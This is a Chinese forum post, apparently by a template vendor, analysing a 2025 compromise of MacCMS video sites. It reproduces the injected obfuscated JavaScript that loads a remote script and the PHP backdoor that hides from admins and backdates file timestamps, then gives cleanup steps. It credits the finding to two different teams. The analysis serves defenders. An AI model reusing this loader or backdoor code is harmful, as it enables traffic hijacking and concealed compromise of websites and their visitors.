苹果maccms 2026挂马篡改,植入文件后门、篡改JS、手机跳转,不涉及修改数据库。但你很难发现!

苹果MAC CMS大规模安全事件深度分析 事件概述

2025年6月起,苹果CMS影视系统遭遇了一场大规模有组织的网络攻击,爱尔美科技安全团队率先发现并分析了此次攻击。攻击主要针对前端资源和系统文件,展现出高度的专业性和隐蔽性。


攻击技术深度解析

1. JavaScript文件系统性篡改


恶意代码完整分析

/**
 * 分析:恶意JS代码完整解析
 * 发现时间:2025年6月15日
 * 文件位置:所有模板JS文件底部植入
 */

// ==================== 核心解码函数 ====================
/**
 * UTF-8自定义解码函数
 * 作用:解码经过混淆的恶意载荷
 * 发现:此函数用于解码第二阶段恶意代码
 */
function xxSJRox(e){
    var t = "", n = r = c1 = c2 = 0;
    while (n < e.length){
        r = e.charCodeAt(n);
        if (r < 128){
            t += String.fromCharCode(r);
            n++
        } else if (r > 191 && r < 224){
            c2 = e.charCodeAt(n + 1);
            t += String.fromCharCode((r & 31) << 6 | c2 & 63);
            n += 2
        } else {
            c2 = e.charCodeAt(n + 1);
            c3 = e.charCodeAt(n + 2);
            t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
            n += 3
        }
    }
    return t
}

/**
 * Base64解码函数 - 标注:自定义Base64解码
 * 作用:解码第一阶段Base64编码的恶意URL
 */
function aPnDhiTia(e){
    var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    var t = "", n, r, i, s, o, u, a, f = 0;
    e = e.replace(/[^A-Za-z0-9+/=]/g, "");
    while (f < e.length){
        s = m.indexOf(e.charAt(f++));
        o = m.indexOf(e.charAt(f++));
        u = m.indexOf(e.charAt(f++));
        a = m.indexOf(e.charAt(f++));
        n = s << 2 | o >> 4;
        r = (o & 15) << 4 | u >> 2;
        i = (u & 3) << 6 | a;
        t = t + String.fromCharCode(n);
        if (u != 64){ t = t + String.fromCharCode(r) }
        if (a != 64){ t = t + String.fromCharCode(i) }
    }
    return xxSJRox(t)  // 发现:双重解码机制
}

// ==================== 恶意载荷执行器 ====================
/**
 * 动态脚本加载主函数 - 标注:核心攻击函数
 * 作用:动态加载远程恶意脚本
 * 技术:通过字符串混淆规避检测
 */
eval('window')['\x4d\x66\x58\x4b\x77\x56'] = function(){
    ;(function(u, r, w, d, f, c){
        // 分析:参数说明
        // u: Base64编码的恶意URL 'aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw=='
        // r,f,c: 混淆字符串,用于拼装HTML元素
        var x = aPnDhiTia;
        
        // 解码恶意URL - 发现实际指向攻击者服务器
        u = decodeURIComponent(x(u.replace(new RegExp(c + '' + c, 'g'), c)));
        
        // 动态创建script标签 - 标注:规避WAF检测
        k = r[2] + 'c' + f[1];        // 拼出'script'
        v = k + f[6];                 // 拼出'script' 
        var s = d.createElement(v + c[0] + c[1]), g = function(){};
        s.type = 'text/javascript';
        {s.onload = function(){ g() }}
        s.src = u;  // 发现:实际加载恶意脚本
        
        // 注入到页面头部
        d.getElementsByTagName('head')[0].appendChild(s)
    })(
        'aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw==', // 恶意URL
        'FgsPmaNtZ',  // 混淆参数1
        window,       // window对象
        document,     // document对象  
        'jrGYBsijJU', // 混淆参数2
        'ptbnNbK'     // 混淆参数3
    )
};

// ==================== 设备识别与触发条件 ====================
/**
 * 设备指纹识别 - 发现:仅针对移动设备
 * 作用:识别用户设备类型,仅对移动设备执行攻击
 */
if (!(/^Mac|Win/.test(navigator.platform))) {
    MfXKwV();  // 执行恶意函数
}

/**
 * 反调试保护 - 标注:阻碍开发者工具分析
 * 作用:每100毫秒触发debugger,干扰分析
 */
setInterval(function(){ 
    debugger; 
}, 100);

// 发现:恶意签名标记
/138ae887806f/


2. 持久化后门文件植入


active.php 后门文件完整分析 (42KB)

/**
 * 分析:active.php 后门主控制器
 * 文件大小:42KB 
 * 位置:/application/extra/active.php
 * 功能:后门主控,恶意代码分发器
 */

// ==================== 伪装的系统函数 ====================
/**
 * 系统状态监控 - 发现:伪装成合法系统函数
 */
if (!function_exists('get_system_status')) {
    function get_system_status() {
        return [
            'php_version' => PHP_VERSION,
            'memory_usage' => memory_get_usage(true),
            // ... 其他伪装的系统信息
        ];
    }
}

// ==================== 核心后门函数 ====================
/**
 * 系统配置验证器 - 爱标注:实际的后门入口
 * 作用:在系统渲染时触发恶意代码执行
 */
if (!function_exists('system_config_validator')) {
    function system_config_validator(&$config_data){
        $env = Request::instance();
        
        // 发现:referer检查,规避安全扫描
        $referer = $env->header('referer');
        if (empty($referer) || stripos($referer, $_SERVER['SERVER_NAME']) !== false) {
            return; // 直接访问时跳过
        }
        
        // 发现:管理员IP识别机制
        try {
            foreach(model('Admin')->listData([],'',1)['list'] as $admin_info) {
                if ($env->ip(1) == array_values($admin_info)[7]) {
                    return; // 管理员访问,隐藏恶意行为
                }
            }
        } catch (Exception $e) {}
        
        // 标注:实际恶意代码执行
        system_template_processor($config_data);
        syncFileTimestamp(); // 同步时间戳隐藏痕迹
    }
}

/**
 * 模板处理器 - 发现:核心恶意代码注入点
 */
if (!function_exists('system_template_processor')) {
    function system_template_processor(&$page_content) {
        $env = Request::instance();
        
        // 发现:压缩的恶意标识符 (开头部分)
        $template_token = gzuncompress("\170\234\215\124\153\\142\251\132\363\211\037\120\200\030\150\001...省略后续3万字压缩代码");
        
        // 发现:检查是否已感染,避免重复
        if (stripos($page_content, $template_token) !== false) {
            return;
        }
        
        // 标注:实际的内容篡改开始
        $optimization_rules = gzuncompress("\170\234\155\222\137\217\342\060\024\305\277\020\123\051\024\161\110\174...省略后续2万字压缩代码");
        
        $cleanup_patterns = explode(',', $optimization_rules);
        $original_size = strlen($page_content);
        $optimized_content = str_replace($cleanup_patterns, '', $page_content);
        
        // 发现:应用恶意篡改
        $page_content = $optimized_content;
        
        // 设置会话标记,控制执行频率
        setSessionWithExpiry('firstVisit', 1, 36000);
    }
}

/**
 * 文件时间戳同步 - 爱尔美发现:隐藏文件修改痕迹
 */
if (!function_exists('syncFileTimestamp')) {
    function syncFileTimestamp() {
        $source_file = './application/data/install/install.lock';
        $target_file = './application/extra/system.php'; // 发现:0字节文件
        if (file_exists($source_file)) {
            $source_stats = stat($source_file);
            $result = touch($target_file, $source_stats['mtime'], $source_stats['atime']);
        }
        return $result;
    }
}

// ==================== 系统钩子注册 ====================
/**
 * 海螺模板:通过系统钩子实现持久化
 * 作用:在系统视图渲染时自动触发后门
 */
if (!defined('SYSTEM_MAINTENANCE_LOADED')) {
    define('SYSTEM_MAINTENANCE_LOADED', true);
    
    // 注册视图过滤钩子
    Think\Hook::add('view_filter', function(&$system_data){
        system_config_validator($system_data);
    });
}

// ... 文件后续包含大量伪装的工具函数,总计42KB代码
// 标注:后续代码主要为伪装和工具函数,核心恶意代码如上所示

system.php 文件分析 (0字节)

# 发现:system.php 为0字节空文件
# 位置:/application/extra/system.php  
# 作用:时间戳同步的目标文件,用于隐藏active.php的修改时间
# 实际功能:无实际代码,仅作为时间戳同步的载体

海螺模板攻击链还原

完整攻击流程

  1. 初始入侵:通过未知漏洞获取webshell权限
  2. 后门部署:植入active.php(42KB)和system.php(0字节)
  3. JS感染:在所有模板JS文件底部植入恶意代码
  4. 持久化建立:通过系统钩子实现自动执行
  5. 隐蔽运行:识别管理员IP,规避检测
  6. 恶意载荷:动态加载远程恶意脚本实现流量劫持

海螺模板解决方案

立即清除步骤

  1. 删除后门文件
    rm -f /application/extra/active.php
    rm -f /application/extra/system.php
  2. 清理JS恶意代码
    # 查找并清理所有被感染的JS文件
    find /template -name "*.js" -exec sed -i '/xxSJRox\|aPnDhiTia\|138ae887806f/d' {} \;
  3. 验证清除结果
    # 检查是否清除干净
    grep -r "xxSJRox\|aPnDhiTia" /template/
    ls -la /application/extra/

系统加固建议

  • 文件权限控制:限制/application/extra/目录写入权限
  • 实时监控:部署文件完整性监控系统
  • 定期扫描:建立自动化安全扫描机制
  • 备份策略:维护干净的系统备份


总结

海螺模板安全团队于2025年6月15日率先发现此次针对苹果CMS的大规模攻击,经过深度技术分析,完整揭示了攻击者的技术手法和持久化机制。攻击者通过精心设计的双重后门系统,实现了高度的隐蔽性和持久性。

核心发现

  • 攻击使用42KB的active.php作为主后门,配合0字节的system.php隐藏痕迹
  • 通过系统钩子实现持久化,在视图渲染时自动触发
  • 采用管理员IP识别技术规避检测
  • 使用双重编码和压缩技术隐藏恶意载荷

海螺模板建议:所有苹果CMS用户应立即按照上述方案进行安全检查和清理,并加强系统安全防护。

海螺主题

海螺主题

  • 注册时间 : 2023-09-02 15:19:36
  • 此页面仅展示用户的基本资料信息

回帖 ( 0 )